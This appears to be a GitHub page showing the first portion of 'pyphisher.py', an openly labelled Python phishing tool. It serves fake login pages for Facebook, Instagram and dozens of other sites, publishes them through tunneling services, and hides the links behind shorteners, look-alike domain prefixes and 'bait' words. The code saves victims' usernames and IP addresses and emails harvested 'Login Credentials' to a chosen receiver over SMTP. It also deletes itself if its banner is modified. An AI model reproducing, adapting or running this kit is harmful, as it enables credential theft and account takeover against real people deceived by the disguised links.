-
Notifications
You must be signed in to change notification settings - Fork 91
/
pyphisher.py
executable file
·1325 lines (1209 loc) · 45.3 KB
/
pyphisher.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# -*- coding: UTF-8 -*-
# ToolName : PyPhisher
# Author : KasRoudra
# Version : 2.1
# License : MIT
# Copyright : KasRoudra (2021-2022)
# Github : https://github.com/KasRoudra
# Contact : https://m.me/KasRoudra
# Description: PyPhisher is a phishing tool in python
# Tags : Facebook Phishing, Github Phishing, Instagram Phishing and 70+ other sites available
# 1st Commit : 08/08/2021
# Language : Python
# Portable file/script
# If you copy open source code, consider giving credit
# Credits : Zphisher, MaskPhish, AdvPhishing
# Env : #!/usr/bin/env python
"""
MIT License
Copyright (c) 2022 KasRoudra
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
from argparse import ArgumentParser
from importlib import import_module as eximport
from glob import glob
from hashlib import sha256
from json import (
dumps as stringify,
loads as parse
)
from os import (
getenv,
kill,
listdir,
makedirs,
mkdir,
mknod,
popen,
remove,
rename,
replace,
system
)
from os.path import (
abspath,
basename,
dirname,
isdir,
isfile,
join
)
from platform import uname
from re import search, sub
from shutil import (
copy as cp,
copy2,
copyfile,
copytree,
get_terminal_size,
rmtree,
)
from signal import (
SIGINT,
SIGKILL,
SIGTERM
)
from subprocess import (
DEVNULL,
PIPE,
Popen,
STDOUT,
call,
run
)
from smtplib import SMTP_SSL as smtp
from socket import (
AF_INET as inet,
SOCK_STREAM as stream,
setdefaulttimeout,
socket
)
from sys import (
argv,
stdout,
version_info
)
from tarfile import open as taropen
from time import (
ctime,
sleep,
time
)
from zipfile import ZipFile
# Color snippets
black="\033[0;30m"
red="\033[0;31m"
bred="\033[1;31m"
green="\033[0;32m"
bgreen="\033[1;32m"
yellow="\033[0;33m"
byellow="\033[1;33m"
blue="\033[0;34m"
bblue="\033[1;34m"
purple="\033[0;35m"
bpurple="\033[1;35m"
cyan="\033[0;36m"
bcyan="\033[1;36m"
white="\033[0;37m"
nc="\033[00m"
version="2.1"
# Regular Snippets
ask = f"{green}[{white}?{green}] {yellow}"
success = f"{yellow}[{white}√{yellow}] {green}"
error = f"{blue}[{white}!{blue}] {red}"
info = f"{yellow}[{white}+{yellow}] {cyan}"
info2 = f"{green}[{white}•{green}] {purple}"
# Generated by banner-generator. Github: https://github.com/KasRoudra/banner-generator
# Modifying this could be potentially dangerous
logo = f"""
{red} _____ _____ _ _ _
{cyan} | __ \ | __ \| | (_) | |
{yellow} | |__) | _| |__) | |__ _ ___| |__ ___ _ __
{blue} | ___/ | | | ___/| '_ \| / __| '_ \ / _ \ '__|
{red} | | | |_| | | | | | | \__ \ | | | __/ |
{yellow} |_| \__, |_| |_| |_|_|___/_| |_|\___|_|
{green} __/ |{" "*19} {cyan}[v{version}]
{cyan} |___/ {" "*11} {red}[By \x4b\x61\x73\x52\x6f\x75\x64\x72\x61]
"""
lx_help = f"""
{info}Steps: {nc}
{blue}[1]{yellow} Go to {green}https://localxpose.io
{blue}[2]{yellow} Create an account
{blue}[3]{yellow} Login to your account
{blue}[4]{yellow} Visit {green}https://localxpose.io/dashboard/access{yellow} and copy your authtoken
"""
packages = [ "php", "ssh" ]
modules = [ "requests", "rich" ]
tunnelers = [ "cloudflared", "loclx" ]
processes = [ "php", "ssh", "cloudflared", "loclx", "localxpose", ]
try:
test = popen("cd $HOME && pwd").read()
except:
exit()
supported_version = 3
if version_info[0] != supported_version:
print(f"{error}Only Python version {supported_version} is supported!\nYour python version is {version_info[0]}")
exit(0)
for module in modules:
try:
eximport(module)
except ImportError:
try:
print(f"Installing {module}")
run(f"pip3 install {module}", shell=True)
except:
print(f"{module} cannot be installed! Install it manually by {green}'pip3 install {module}'")
exit(1)
except:
exit(1)
for module in modules:
try:
eximport(module)
except:
print(f"{module} cannot be installed! Install it manually by {green}'pip3 install {module}'")
exit(1)
from requests import (
get,
head,
Session
)
from requests.exceptions import ConnectionError
from rich.console import Console
from rich.panel import Panel
from rich.progress import (
BarColumn,
Progress,
TextColumn,
TimeRemainingColumn,
TransferSpeedColumn
)
from rich.traceback import install as override_default_traceback
override_default_traceback()
cprint = Console().print
# Get Columns of Screen
columns = get_terminal_size().columns
repo_url = "https://github.com/\x4b\x61\x73\x52\x6f\x75\x64\x72\x61/PyPhisher"
websites_url = f"{repo_url}/releases/download/v{version}/websites.zip" # "https://github.com/KasRoudra/PyPhisher/releases/latest/download/websites.zip"
# CF = Cloudflared, LX = LocalXpose, LHR = LocalHostRun
home = getenv("HOME")
ssh_dir = f"{home}/.ssh"
sites_dir = f"{home}/.websites"
templates_file = f"{sites_dir}/templates.json"
tunneler_dir = f"{home}/.tunneler"
php_file = f"{tunneler_dir}/php.log"
cf_file = f"{tunneler_dir}/cf.log"
lx_file = f"{tunneler_dir}/loclx.log"
lhr_file = f"{tunneler_dir}/lhr.log"
site_dir = f"{home}/.site"
cred_file = f"{site_dir}/usernames.txt"
ip_file = f"{site_dir}/ip.txt"
main_ip = "ip.txt"
main_info = "info.txt"
main_cred = "creds.txt"
email_file = "files/email.json"
error_file = "error.log"
is_mail_ok = False
redir_url = ""
email = ""
password = ""
receiver = ""
mask = ""
default_port = 8080
default_tunneler = "Cloudflared"
default_template = "60"
cf_command = f"{tunneler_dir}/cloudflared"
lx_command = f"{tunneler_dir}/loclx"
if isdir("/data/data/com.termux/files/home"):
termux = True
cf_command = f"termux-chroot {cf_command}"
lx_command = f"termux-chroot {lx_command}"
saved_file = "/sdcard/.creds.txt"
else:
termux = False
saved_file = f"{home}/.creds.txt"
print(f"\n{info}Please wait!{nc}")
argparser = ArgumentParser()
argparser.add_argument("-p", "--port", type=int, default=default_port, help=f"PyPhisher's server port [Default : {default_port}]")
argparser.add_argument("-o", "--option", help="PyPhisher's template index [Default : null]")
argparser.add_argument("-t", "--tunneler", default=default_tunneler, help=f"Tunneler to be chosen while url shortening [Default : {default_tunneler}]")
argparser.add_argument("-r", "--region", help="Region for loclx [Default: auto]")
argparser.add_argument("-s", "--subdomain", help="Subdomain for loclx [Pro Account] (Default: null)")
argparser.add_argument("-u", "--url", help="Redirection url after data capture [Default : null]")
argparser.add_argument("-m", "--mode", help="Mode of PyPhisher [Default: normal]")
argparser.add_argument("-e", "--troubleshoot", help="Troubleshoot a tunneler [Default: null]")
argparser.add_argument("--nokey", help="Use localtunnel without ssh key [Default: False]", action="store_false")
argparser.add_argument("--noupdate", help="Skip update checking [Default : False]", action="store_false")
args = argparser.parse_args()
port = args.port
option = args.option
region = args.region
subdomain = args.subdomain
tunneler = args.tunneler
url = args.url
mode = args.mode
troubleshoot = args.troubleshoot
key = args.nokey if mode != "test" else False
update = args.noupdate
local_url = f"127.0.0.1:{port}"
ts_commands = {
"cloudflared": f"{cf_command} tunnel -url {local_url}",
"localxpose": f"{lx_command} tunnel http -t {local_url}",
"localhostrun": f"ssh -R 80:{local_url} localhost.run -T -n",
"cf": f"{cf_command} tunnel -url {local_url}",
"loclx": f"{lx_command} tunnel http -t {local_url}",
"lhr": f"ssh -R 80:{local_url} localhost.run -T -n"
}
# My utility functions
# Check if a process is running by 'command -v' command. If it has a output exit_code will be 0 and package is already installed
def is_installed(package):
return bgtask(f"command -v {package}").wait() == 0 # system(f"command -v {package} > /dev/null 2>&1")
# Check if a process is running by 'pidof' command. If pidof has a output exit_code will be 0 and process is running
def is_running(process):
exit_code = bgtask(f"pidof {process}").wait()
if exit_code == 0:
return True
return False
# Check if a json is valid
def is_json(myjson):
try:
parse(myjson)
return True
except:
return False
# A simple copy function
def copy(path1, path2):
if isdir(path1):
if isdir(path2):
rmtree(path2)
#copytree(path1, path2)
shell(f"cp -r {path1} {path2}")
if isfile(path1):
if isdir(path2):
copy2(path1, path2)
# Delete files/folders if exist
def delete(*paths, recreate=False):
for path in paths:
if isdir(path):
if recreate:
rmtree(path)
mkdir(path)
else:
rmtree(path)
if isfile(path):
remove(path)
# A poor alternative of GNU/Linux 'cat' command returning file content
def cat(file):
if isfile(file):
with open(file, "r") as filedata:
return filedata.read()
return ""
# Another poor alternative of GNU/Linux 'sed' command to replace and write
def sed(text1, text2, filename1, filename2=None, occurences=None):
filedata1 = cat(filename1)
if filename2 is None:
filename2 = filename1
if occurences is None:
filedata2 = filedata1.replace(text1, text2)
else:
filedata2 = filedata1.replace(text1, text2, occurences)
write(filedata2, filename2)
# Another poor alternative of GNU/Linux 'grep' command for regex search
def grep(regex, target):
if isfile(target):
content = cat(target)
else:
content = target
results = search(regex, content)
if results is not None:
return results.group(1)
return ""
# Run shell commands in python
def shell(command, capture_output=False):
try:
return run(command, shell=True, capture_output=capture_output)
except Exception as e:
append(e, error_file)
# return run(command.split(" "), shell=True)
# return call(command, shell=True)
# Run task in background supressing output by setting stdout and stderr to devnull
def bgtask(command, stdout=PIPE, stderr=DEVNULL, cwd="./"):
try:
return Popen(command, shell=True, stdout=stdout, stderr=stderr, cwd=cwd)
except Exception as e:
append(e, error_file)
if sha256(logo.encode("utf-8")).hexdigest() != "931df196786d840c731d49fec1b43ab15edc7977f4e300bfb4c2e3657b9c591d":
print(f"{info}Visit: {repo_url}")
bgtask(f"xdg-open {repo_url}")
delete(__file__)
exit(1)
# Write/Append texts to a file
def write(text, filename):
with open(filename, "w") as file:
file.write(str(text)+"\n")
# Write/Append texts to a file
def append(text, filename):
with open(filename, "a") as file:
file.write(str(text)+"\n")
def get_meta(url):
# Facebook requires some additional header
headers = {
"user-agent": "Mozilla/5.0 (Linux; Android 8.1.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.99 Safari/537.36",
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"accept-language": "en-GB,en-US;q=0.9,en;q=0.8"
}
if "facebook" in url:
headers.update({
"upgrade-insecure-requests": "1",
"dnt": "1",
"content-type": "application/x-www-form-url-encoded",
"origin": "https://m.facebook.com",
"referer": "https://m.facebook.com/",
"sec-fetch-site": "same-origin",
"sec-fetch-mode": "cors",
"sec-fetch-user": "empty",
"sec-fetch-dest": "document",
"sec-ch-ua-platform": "Android",
"accept-encoding": "gzip, deflate br"
})
allmeta = ""
try:
response = get(url, headers=headers).text
for line in response.split("\n"):
if line.strip().startswith("<meta "):
allmeta += line + "\n"
except Exception as e:
append(e, error_file)
return allmeta
# Replace the default ugly exception message
def exception_handler(e):
lines_arr = []
tb = e.__traceback__
while tb is not None:
if tb.tb_frame.f_code.co_filename == abspath(__file__):
lines_arr.append(str(tb.tb_lineno))
tb = tb.tb_next
name = type(e).__name__
append(e, error_file)
if ":" in str(e):
message = str(e).split(":")[0]
elif "(" in str(e):
message = str(e).split("(")[0]
else:
message = str(e)
line_no = lines_arr[len(lines_arr) - 1]
lines_no = ", ".join(lines_arr)
print(f"{error}{name}: {message} at lines {lines_no}")
# Print lines slowly
def sprint(text, second=0.05):
for line in text + '\n':
stdout.write(line)
stdout.flush()
sleep(second)
# Prints colorful texts
def lolcat(text):
if is_installed("lolcat"):
run(["lolcat"], input=text, text=True)
else:
print(text)
# Center text
def center_text(text):
lines = text.splitlines()
if len(lines) > 1:
minlen = min([len(line) for line in lines if len(line)!=0]) + 8
new_text = ""
for line in lines:
padding = columns + len(line) - minlen
if columns % 2 == 0 and padding % 2 == 0:
padding += 1
new_text += line.center(padding) + "\n"
return new_text
else:
return text.center(columns+8)
# Print decorated file content
def show_file_data(file):
lines = cat(file).splitlines()
text = ""
for line in lines:
text += f"[cyan][[green]*[cyan]][yellow] {line}\n"
cprint(
Panel(
text.strip(),
title="[bold green]\x50\x79\x50\x68\x69\x73\x68\x65\x72[/][cyan] Data[/]",
title_align="left",
border_style="blue",
)
)
# Clear the screen and show logo
def clear(fast=False, lol=False):
shell("clear")
if fast:
print(logo)
elif lol:
lolcat(logo)
else:
sprint(logo, 0.01)
# Install packages
def installer(package, package_name=None):
if package_name is None:
package_name = package
for pacman in ["pkg", "apt", "apt-get", "apk", "yum", "dnf", "brew", "pacman", "yay"]:
# Check if package manager is present but php isn't present
if is_installed(pacman):
if not is_installed(package):
sprint(f"\n{info}Installing {package}{nc}")
if pacman=="pacman":
shell(f"sudo {pacman} -S {package_name} --noconfirm")
elif pacman=="apk":
if is_installed("sudo"):
shell(f"sudo {pacman} add {package_name}")
else:
shell(f"{pacman} add -y {package_name}")
elif is_installed("sudo"):
shell(f"sudo {pacman} install -y {package_name}")
else:
shell(f"{pacman} install -y {package_name}")
break
if is_installed("brew"):
if not is_installed("cloudflare"):
shell("brew install cloudflare/cloudflare/cloudflared")
if not is_installed("localxpose"):
shell("brew install localxpose")
# Process killer
def killer():
# Previous instances of these should be stopped
for process in processes:
if is_running(process):
# system(f"killall {process}")
output = shell(f"pidof {process}", True).stdout.decode("utf-8").strip()
if " " in output:
for pid in output.split(" "):
kill(int(pid), SIGINT)
elif output != "":
kill(int(output), SIGINT)
else:
print()
# Internet Checker
def internet(url="https://api.github.com", timeout=5):
while update:
try:
head(url=url, timeout=timeout)
break
except ConnectionError:
print(f"\n{error}No internet!{nc}\007")
sleep(2)
except Exception as e:
print(f"{error}{str(e)}")
# Send mail by smtp library
def send_mail(msg):
global email, password, receiver
message = f"From: {email}\nTo: {receiver}\nSubject: \x50\x79\x50\x68\x69\x73\x68\x65\x72 Login Credentials\n\n{msg}"
try:
internet()
with smtp('smtp.gmail.com', 465) as server:
server.login(email, password)
server.sendmail(email, receiver, message)
except Exception as e:
append(e, error_file)
print(f"{error}{str(e)}")
# Bytes to KB, MB converter
def readable(byte, precision = 2, is_speed = False):
for unit in ["Bt","KB","MB","GB"]:
floatbyte = round(byte, precision)
space = ' ' * (6 - len(str(floatbyte)))
if byte < 1024.0:
if is_speed:
size = f"{floatbyte} {unit}/s{space}"
else:
size = f"{floatbyte} {unit}{space}"
break
byte /= 1024.0
return size
# Dowbload files with progress bar(if necessary)
def download(url, path):
from time import ctime, time
session = Session()
filename = basename(path)
directory = dirname(path)
retry = 3
if directory!="" and not isdir(directory):
mkdir(directory)
newfile = filename.split(".")[0] if "." in filename else filename
newname = filename if len(filename) <= 12 else filename[:9]+"..."
for i in range(retry):
try:
print()
with open(path, "wb") as file:
response = session.get(url, stream=True, timeout=20)
total_length = response.headers.get('content-length')
if total_length is None: # no content length header
file.write(response.content)
else:
downloaded = 0
total_length = int(total_length)
with Progress(
TextColumn("[bold blue]{task.fields[filename]}", justify="right"),
BarColumn(bar_width=None),
"[progress.percentage]{task.percentage:>3.1f}%",
"•",
TransferSpeedColumn(),
"•",
TimeRemainingColumn()
) as progress:
task = progress.add_task(newfile, total=total_length, filename=newfile.title())
for data in response.iter_content(chunk_size=4096):
file.write(data)
progress.update(task, advance=len(data))
break
except Exception as e:
remove(path)
append(e, error_file)
print(f"\n{error}Download failed due to: {str(e)}")
print(f"\n{info}Retrying {i}/{retry}{nc}")
sleep(1)
if not isfile(path):
print(f"\n{error}Download failed permanently!")
pexit()
# Extract zip/tar/tgz files
def extract(file, extract_path='.'):
directory = dirname(extract_path)
if directory!="" and not isdir(directory):
mkdir(directory)
try:
if ".zip" in file:
with ZipFile(file, 'r') as zip_ref:
if zip_ref.testzip() is None:
zip_ref.extractall(extract_path)
else:
print(f"\n{error}Zip file corrupted!")
delete(file)
exit()
return
tar = taropen(file, 'r')
for item in tar:
tar.extract(item, extract_path)
# Recursion if childs are tarfile
if ".tgz" in item.name or ".tar" in item.name:
extract(item.name, "./" + item.name[:item.name.rfind('/')])
except Exception as e:
append(e, error_file)
delete(file)
print(f"{error}{str(e)}")
exit(1)
def write_meta(url):
if url=="":
return
allmeta = get_meta(url)
if allmeta=="":
print(f"\n{error}URL isn't correct!")
write(allmeta, f"{site_dir}/meta.php")
def write_redirect(url):
global redir_url
if url == "":
url = redir_url
sed("redirectUrl", url, f"{site_dir}/login.php")
# Polite Exit
def pexit():
killer()
sprint(f"\n{info2}Thanks for using!\n{nc}")
exit(0)
# Website chooser
def show_options(sites):
total_sites = len(sites)
def optioner(index, max_len):
# Avoid RangeError/IndexError
if index >= total_sites:
return ""
# Add 0 before single digit number
new_index = str(index+1) if index >= 9 else "0"+str(index+1)
# To fullfill max length of a part we append empty space
space = " " * (max_len - len(sites[index]))
return f"{green}[{white}{new_index}{green}] {yellow}{sites[index]}{space}"
# Array index starts from 0
first_index = 0
# Three columns
one_third = int(total_sites/3)
# If there is modulus, that means some entries are remaining, we need an extra row
if total_sites%3 > 0:
one_third += 1
options = "\n\n"
# First index of last line should be less than one-third of total
while first_index < one_third and total_sites > 10:
second_index = first_index + one_third
third_index = second_index + one_third
options += optioner(first_index, 23) + optioner(second_index, 17) + optioner(third_index, 1) + "\n"
first_index += 1
if total_sites < 10:
for i in range(total_sites):
options += optioner(i, 20) + "\n"
options += "\n"
if isfile(saved_file) and cat(saved_file)!="":
options += f"{green}[{white}a{green}]{yellow} About {green}[{white}s{green}]{yellow} Saved {green}[{white}x{green}]{yellow} More Tools {green}[{white}0{green}]{yellow} Exit\n\n"
else:
options += f"{green}[{white}a{green}]{yellow} About {green}[{white}m{green}]{yellow} Main Menu {green}[{white}0{green}]{yellow} Exit\n\n"
lolcat(options)
# Set up loclx authtoken to work with loclx links
def lx_token():
global lx_command
while True:
status = shell(f"{lx_command} account status", True).stdout.decode("utf-8").strip().lower()
if not "error" in status:
break
has_token = input(f"\n{ask}Do you have loclx authtoken? [y/N/help]: {green}")
if has_token == "y":
shell(f"{lx_command} account login")
break
elif has_token == "help":
sprint(lx_help, 0.01)
sleep(3)
elif has_token in ["n", ""]:
break
else:
print(f"\n{error}Invalid input '{has_token}'!")
sleep(1)
def ssh_key():
if key and not isfile(f"{ssh_dir}/id_rsa"):
# print(f"\n{info}Please wait for a while! Press enter three times when asked for ssh key generation{nc}\n")
# sleep(1)
# shell("ssh-keygen")
print(nc)
shell(f"mkdir -p {ssh_dir} && ssh-keygen -N '' -t rsa -f {ssh_dir}/id_rsa")
is_known = bgtask("ssh-keygen -F localhost.run").wait()
if is_known != 0:
shell(f"ssh-keyscan -H localhost.run >> {ssh_dir}/known_hosts", True)
# Output urls
def url_manager(url, tunneler):
global mask
masked = mask + "@" + url.replace('https://','')
title = f"[bold cyan]{tunneler}[/]"
text = f"[blue]URL[/] [green]:[/] [yellow]{url}[/]\n[blue]MaskedURL[/] [green]:[/] [yellow]{masked}[/]"
cprint(
Panel(
text,
title=title,
title_align="left",
border_style="green"
)
)
#print(f"\n{info2}{arg1} > {yellow}{url}")
#print(f"{info2}{arg2} > {yellow}{mask}@{url.replace('https://','')}")
sleep(0.5)
def shortener1(url):
website = "https://is.gd/create.php?format=simple&url="+url.strip()
internet()
try:
res = get(website).text
except Exception as e:
append(e, error_file)
res = ""
shortened = res.split("\n")[0] if "\n" in res else res
if "https://" not in shortened:
return ""
return shortened
def shortener2(url):
website = "https://api.shrtco.de/v2/shorten?url="+url.strip()
internet()
try:
res = get(website).text
json_resp = parse(res)
except Exception as e:
append(e, error_file)
json_resp = ""
if json_resp != "":
if json_resp["ok"]:
return json_resp["result"]["full_short_link"]
return ""
def shortener3(url):
website = "https://tinyurl.com/api-create.php?url="+url.strip()
internet()
try:
res = get(website).text
except Exception as e:
append(e, error_file)
res = ""
shortened = res.split("\n")[0] if "\n" in res else res
if "https://" not in shortened:
return ""
return shortened
# Copy website files from custom location
def customfol():
global mask
while True:
has_files = input(f"\n{ask}Do you have custom site files?[y/N/b] > {green}")
if has_files == "y":
fol = input(f"\n{ask}Enter the directory > {green}")
if isdir(fol):
if isfile(f"{fol}/index.php") or isfile(f"{fol}/index.html"):
inputmask = input(f"\n{ask}Enter a bait sentence (Example: free-money) > {green}")
# Remove slash and spaces from mask
mask = "https://" + sub("([/%+&?={} ])", "-", inputmask)
delete(f"{fol}/ip.txt", f"{fol}/usernames.txt")
copy(fol, site_dir)
return fol
else:
sprint(f"\n{error}index.php/index.html is required but not found!")
else:
sprint(f"\n{error}Directory doesn't exist!")
elif has_files == "b":
main_menu()
else:
sprint(f"\n{info}Contact \x4b\x61\x73\x52\x6f\x75\x64\x72\x61")
bgtask("xdg-open https://t.me/\x4b\x61\x73\x52\x6f\x75\x64\x72\x61")
pexit()
# Show saved data from saved file with small decoration
def saved():
clear()
print(f"\n{info}Saved details: \n{nc}")
show_file_data(saved_file)
print(f"\n{green}[{white}0{green}]{yellow} Exit {green}[{white}x{green}]{yellow} Main Menu \n")
inp = input(f"\n{ask}Choose your option: {green}")
if inp == "0":
pexit()
else:
return
# Info about tool
def about():
clear()
print(f"{red}{yellow}[{purple}ToolName{yellow}] {cyan} : {yellow}[{green}\x50\x79\x50\x68\x69\x73\x68\x65\x72{yellow}] ")
print(f"{red}{yellow}[{purple}Version{yellow}] {cyan} : {yellow}[{green}{version}{yellow}] ")
print(f"{red}{yellow}[{purple}Author{yellow}] {cyan} : {yellow}[{green}\x4b\x61\x73\x52\x6f\x75\x64\x72\x61{yellow}] ")
print(f"{red}{yellow}[{purple}Github{yellow}] {cyan} : {yellow}[{green}https://github.com/\x4b\x61\x73\x52\x6f\x75\x64\x72\x61{purple}{yellow}] ")
print(f"{red}{yellow}[{purple}Messenger{yellow}] {cyan} : {yellow}[{green}https://m.me/\x4b\x61\x73\x52\x6f\x75\x64\x72\x61{yellow}] ")
print(f"{red}{yellow}[{purple}Telegram {yellow}] {cyan} : {yellow}[{green}https://t.me/\x4b\x61\x73\x52\x6f\x75\x64\x72\x61{yellow}] ")
print(f"{red}{yellow}[{purple}Email{yellow}] {cyan} : {yellow}[{green}\x6b\x61\x73\x72\x6f\x75\x64\x72\x61krd@gmail.com{yellow}] ")
print(f"\n{green}[{white}0{green}]{yellow} Exit {green}[{white}x{green}]{yellow} Main Menu \n")
inp = input(f"\n{ask}Choose your option: {green}")
if inp == "0":
pexit()
else:
return
# Optional function for url masking
def masking(url):
cust = input(f"\n{ask}{bcyan}Wanna try custom link? {green}[{blue}y or press enter to skip{green}] : {yellow}")
if cust in [ "", "n", "N", "no" ]:
return
if (shortened:=shortener1(url)) != "":
pass
elif (shortened:=shortener2(url)) != "":
pass
elif (shortened:=shortener3(url)) != "":
pass
else:
sprint(f"{error}Service not available!")
waiter()
short = shortened.replace("https://", "")
# Remove slash and spaces from inputs
domain = input(f"\n{ask}Enter custom domain(Example: google.com, yahoo.com > ")
if domain == "":
sprint(f"\n{error}No domain!")
domain = "https://"
else:
domain = sub("([/%+&?={} ])", ".", sub("https?://", "", domain))
domain = "https://"+domain+"-"
bait = input(f"\n{ask}Enter bait words with hyphen without space (Example: free-money, pubg-mod) > ")
if bait=="":
sprint(f"\n{error}No bait word!")
else:
bait = sub("([/%+&?={} ])", "-", bait)+"@"
final = domain+bait+short
print()
#sprint(f"\n{success}Your custom url is > {bcyan}{final}")
title = "[bold blue]Custom[/]"
text = f"[cyan]URL[/] [green]:[/] [yellow]{final}[/]"
cprint(
Panel(
text,
title=title,
title_align="left",
border_style="blue",
)
)
# Staring functions
# Update of PyPhisher
def updater():
internet()
if not isfile("files/pyphisher.gif"):
return
try:
git_ver = get("https://raw.githubusercontent.com/KasRoudra/PyPhisher/main/files/version.txt").text.strip()
except Exception as e:
append(e, error_file)
git_ver = version
if git_ver != "404: Not Found" and float(git_ver) > float(version):
# Changelog of each versions are seperated by three empty lines
changelog = get("https://raw.githubusercontent.com/KasRoudra/PyPhisher/main/files/changelog.log").text.split("\n\n\n")[0]
clear(fast=True)
print(f"{info}\x50\x79\x50\x68\x69\x73\x68\x65\x72 has a new update!\n{info2}Current: {red}{version}\n{info}Available: {green}{git_ver}")
upask=input(f"\n{ask}Do you want to update \x50\x79\x50\x68\x69\x73\x68\x65\x72?[y/n] > {green}")
if upask=="y":
print(nc)
shell(f"cd .. && rm -rf PyPhisher pyphisher && git clone {repo_url}")
sprint(f"\n{success}\x50\x79\x50\x68\x69\x73\x68\x65\x72 has been updated successfully!! Please restart terminal!")
if (changelog != "404: Not Found"):
sprint(f"\n{info2}Changelog:\n{purple}{changelog}")
exit()
elif upask=="n":
print(f"\n{info}Updating cancelled. Using old version!")
sleep(2)
else:
print(f"\n{error}Wrong input!\n")
sleep(2)
# Installing packages and downloading tunnelers
def requirements():
global termux, cf_command, lx_command, is_mail_ok, email, password, receiver
# Termux may not have permission to write in saved_file.
# So we check if /sdcard is readable.
# If not execute termux-setup-storage to prompt user to allow
if termux:
for retry in range(2):
try:
if not isfile(saved_file):
mknod(saved_file)
with open(saved_file) as checkfile:
data = checkfile.read()
break
except (PermissionError, OSError):
shell("termux-setup-storage")
except Exception as e:
print(f"{error}{str(e)}")
if retry == 1:
print(f"\n{error}You haven't allowed storage permission for termux. Closing \x50\x79\x50\x68\x69\x73\x68\x65\x72!\n")
sleep(2)
pexit()
internet()
if termux:
if not is_installed("proot"):
sprint(f"\n{info}Installing proot{nc}")
shell("pkg install proot -y")